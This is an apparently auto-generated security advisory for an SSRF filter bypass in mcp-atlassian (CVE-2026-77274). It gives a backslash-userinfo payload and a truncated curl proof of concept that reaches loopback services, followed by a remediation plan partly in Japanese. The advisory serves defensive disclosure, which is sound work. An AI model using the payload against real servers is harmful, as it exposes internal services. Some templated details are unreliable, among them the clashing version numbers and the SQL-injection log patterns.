SSRF (Server-Side Request Forgery) in mcp-atlassian (CVE-2026-77274)
Summary
SSRF in mcp-atlassian (CVE-2026-77274). Confidential information can be exposed externally. Exploitable via POST /mcp. Mitigation: upgrade to 0.22.0 or later.
Original description
The description as published by the source.
Environment
- Project:
sooperset/mcp-atlassian - Affected function:
validate_url_for_ssrf() - Affected path: header-based Jira/Confluence URL authentication flow
- Tested endpoint:
POST /mcp - Tested version:
2.14.5
Description
The SSRF protection in validate_url_for_ssrf() can be bypassed with a URL containing a backslash before userinfo-like syntax.
Affected code:
parsed = urlparse(url)
hostname = parsed.hostname
...
ip_error = _check_ip_address(hostname)
...
dns_error = _check_dns_resolution(hostname)
Payload:
http://127.0.0.1:6666\@www.baidu.com
For this input, urllib.parse.urlparse() treats the hostname as:
www.baidu.com
Therefore, validate_url_for_ssrf() validates www.baidu.com instead of 127.0.0.1. However, the downstream request made through the Atlassian client / requests.Session reaches the local service:
http://127.0.0.1:6666/%5C@www.baidu.com/rest/api/2/myself
This allows an attacker-controlled Jira URL to target loopback or internal services.
Proof of Concept
Start a local HTTP server:
python3 -m http.server 6666 --bind 127.0.0.1
Start mcp-atlassian with streamable HTTP transport on port 9000.
Initialize an MCP session with the malicious Jira URL:
curl -i http://127.0.0.1:9000/mcp \
-H 'Content-Type: application/json' \
-H 'Accept: application/json, text/event-stream' \
-H 'X-Atlassian-Jira-Url: http://127.0.0.1:6666\@www.baidu.com' \

If unsure, ask your IT team or search "mcp-atlassian CVE-2026-77274" on the vendor's site.
CVE-2026-77274 (mcp-atlassian) — CWE-918 / CVSS v3 8.2
Attack vector: remote (network-reachable) / unauthenticated / no user interaction
Attack surface: POST /mcp / www.baidu.com / requests.Session / parsed.hostname
Patched: 0.22.0 — apply immediately
Plan: 1) Audit SBOM/dependencies, 2) Stage→prod upgrade, 3) Add WAF/proxy monitoring on affected endpoints, 4) Hunt IOCs in logs.
Refs: see the GHSA / vendor advisory / patched release linked on this page.
SSRF (CWE-918) exists in mcp-atlassian. Attackers reach the vulnerable code path via POST /mcp without authentication.
Check the vendor advisory for the affected versions of mcp-atlassian. Attack surface: POST /mcp / www.baidu.com / requests.Session / parsed.hostname.
Severity: High (CVSS 8.2/10). Confidential information can be exposed externally.
Update to 0.22.0.
Until the patch is applied: disable the affected feature, apply WAF rules, or restrict access via network ACLs.
Search webserver/proxy logs for unusual POST /mcp requests with malformed payloads or SQL meta-characters. Run grep -r 'mcp-atlassian' . against your dependency files (package-lock.json, requirements.txt, go.sum) to find affected services.
Response actions
Concrete steps and command examples for SOC/SRE teams to execute in order
-
1Identify exposure identify
grep -r 'mcp-atlassian' . | grep -v node_modulesリポジトリと本番環境の依存ファイル (package-lock.json / requirements.txt / go.sum / Gemfile.lock 等) で
mcp-atlassianを grep し、稼働しているサービス・バージョンを把握する。 -
2Hunt for indicators of compromise detect
grep 'POST /mcp' /var/log/nginx/access.log | grep -E '(unusual_payload|sqli_pattern)'アクセスログで
POST /mcpへの異常なリクエスト (不正な認証ヘッダ・SQLメタ文字)を過去 30〜90日分捜索。WAF/SIEM があれば該当パスのアラート発火履歴を確認。 -
3Apply patch patch
Upgrade mcp-atlassian to 0.22.0ステージング環境で 0.22.0 に上げて回帰テスト → 本番反映。回帰テストはアプリの主要ハッピーパスと、Step 2 で見つけた異常検知の続報チェックを含めること。
-
4Post-deployment verification verify
Replay attack against POST /mcp on staging to confirm patch closes the vectorパッチ適用後、ステージングで PoC または同等の悪用パターンを再現して脆弱性が閉じたことを確認。本番では Step 2 と同じログクエリでアラート再発が無いか継続監視。
